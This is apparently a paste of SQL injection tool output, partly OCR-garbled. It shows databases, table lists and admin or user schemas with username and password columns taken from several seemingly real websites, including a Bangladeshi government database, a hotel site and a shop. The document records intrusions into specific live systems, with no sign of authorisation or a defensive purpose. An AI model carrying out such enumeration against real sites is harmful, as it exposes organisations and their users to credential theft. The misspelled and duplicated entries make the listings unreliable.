available databases [3]:
[\*] information\_schema
[\*] mudpgov\_database
Link1 [\*] mudpgov\_meherpur

Database: information\_schema Table: COLUMNS [22 columns] Column Type COLUMN\_NAME varchar(64) varchar(80) **PRIVILEGES** varchar(64) TABLE\_NAME bigint(21) unsigned CHARACTER\_MAXIMUM\_LENGTH | CHARACTER\_OCTET\_LENGTH bigint(21) unsigned CHARACTER\_SET\_NAME varchar(32) COLLATION\_NAME varchar(32) COLUMN\_COMMENT varchar(1024) longtext COLUMN\_DEFAULT COLUMN\_KEY varchar(3) longtext COLUMN\_TYPE DATA TYPE varchar(64) DATETIME\_PRECISION bigint(21) unsigned varchar(30) **EXTRA** GENERATION EXPRESSION longtext **IS GENERATED** varchar(6) IS NULLABLE varchar(3) NUMERIC\_PRECISION bigint(21) unsigned NUMERIC SCALE bigint(21) unsigned ORDINAL POSITION bigint(21) unsigned TABLE CATALOG varchar(512) TABLE\_SCHEMA varchar(64)

```
78 tables]
 ALL PLUGINS
 APPLICABLE ROLES
 CHARACTER_SETS
 CHECK_CONSTRAINTS
 CLIENT_STATISTICS
 COLLATIONS
 COLLATION_CHARACTER_SET_APPLICABILITY
 COLUMN_PRIVILEGES
 ENABLED_ROLES
 FILES
GEOMETRY_COLUMNS
GLOBAL_STATUS
GLOBAL_VARIABLES
INDEX_STATISTICS
 INNODB_BUFFER_PAGE
INNODB_BUFFER_PAGE_LRU
 INNODB_BUFFER_POOL_STATS
 INNODB_CMP
INNODB_CMPMEM
INNODB_CMPMEM_RESET
INNODB_CMP_PER_INDEX
INNODB_CMP_PER_INDEX_RESET
INNODB_CMP_RESET
INNODB_CMP_RESET
INNODB_FT_EBING_DELETED
INNODB_FT_CONFIG
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_DELETED
INNODB_FT_INDEX_CACHE
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_TABLE
 INNODB_LOCKS
INNODB_LOCKS
INNODB_LOCK_WAITS
INNODB_METRICS
INNODB_MUTEXES
INNODB_SYS_COLUMNS
INNODB_SYS_DATAFILES
INNODB_SYS_FITELDS
INNODB_SYS_FOREIGN
INNODB_SYS_FOREIGN_COLS
INNODB_SYS_INDEXES
INNODB_SYS_INDEXES
INNODB_SYS_SEMAPHORE WAI
 INNODB_SYS_SEMAPHORE_WAITS
INNODB_SYS_TABLES
INNODB_SYS_TABLESPACES
INNODB_SYS_TABLESTATS
INNODB_SYS_VIRTUAL
INNODB_TABLESPACES_ENCRYPTION
```

```
available databases [2]:
[*] arsimahotel
[*] information_schema
```

```
Database: arsimahotel
Table: log
[3 columns]
+-----+
| Column | Type |
+-----+
| id | int(11) |
| ip | text |
| zaman | text |
+-----+
```

```
available databases [2]:
[*] door_new
[*] information_schema
```

```
[08:53:16] [INFO] fetching database names
available databases [2]:
[*] burobd_bd_2025
[*] information_schema
```

```
Database: door_new
Table: admin
[6 columns]
 Column
           Type
  status
             bit(1)
  email
             varchar(25)
  FullName
             varchar(90)
             int(11)
  id
  password
             varchar(50)
  username |
             varchar(20)
```

```
[08:50:11] [INFO] the back-end DBMS is MySQL web application technology: Apache, PHP back-end DBMS: MySQL ≥ 5.6 [08:50:11] [INFO] fetching database names [08:50:11] [INFO] resumed: 'information_schema' [08:50:11] [INFO] resumed: 'goodmart_db' available databases [2]: [*] goodmart_db [*] information_schema
```

Database: goodmart_db Table: gst_user [13 columns]	
Column	Туре
status	int(11)
added_on	datetime
alt_username	varchar(20)
email	varchar(100)
id	int(11)
lastlogin	datetime
lastlogout	datetime
modify_by	int(11)
modify_on	timestamp
password	varchar(32)
useridfk	int(11)
username	varchar(20)
usertype	int(11)
+	

```
Database: burobd_bd_2025
[31 tables]
 admin
 dynamic-page-code
 zone
 annualReports
 annualreports
 contactus
 gallery
 galleryparallax
 header
 homepage
 homesectionname
 homesections
 imagealbum
 isbkmap
 job
 linkheadings
 links
 loginlinks
 map
 news
 noticeboard
 pages
 passwordreset
 picturegallery
 publication
 showhide
 slider
 tendernotice
 website_login
 websitemessage
 welcomesectionlinks
```

```
:05] [INFO] fetching tables for database: 'goodmart_db
Database: goodmart_db
[28 tables]
  gst_account
  gst_business_detail
  gst_contact
  gst_coupen
  gst_enquiry
  gst_fund_request
gst_id_msg
  gst_invoice
gst_invoice_item
  gst_item
gst_item_brand
  gst_item_category
gst_message
  gst_offline_payment
  gst_package
  gst_pages
  gst_payment
  gst_point
  gst_registration
  gst_service
  gst_service_order
  gst_sms
  gst_subscriber
  gst_user
  gst_user_content
gst_user_detail
  gst_win
  over order
```

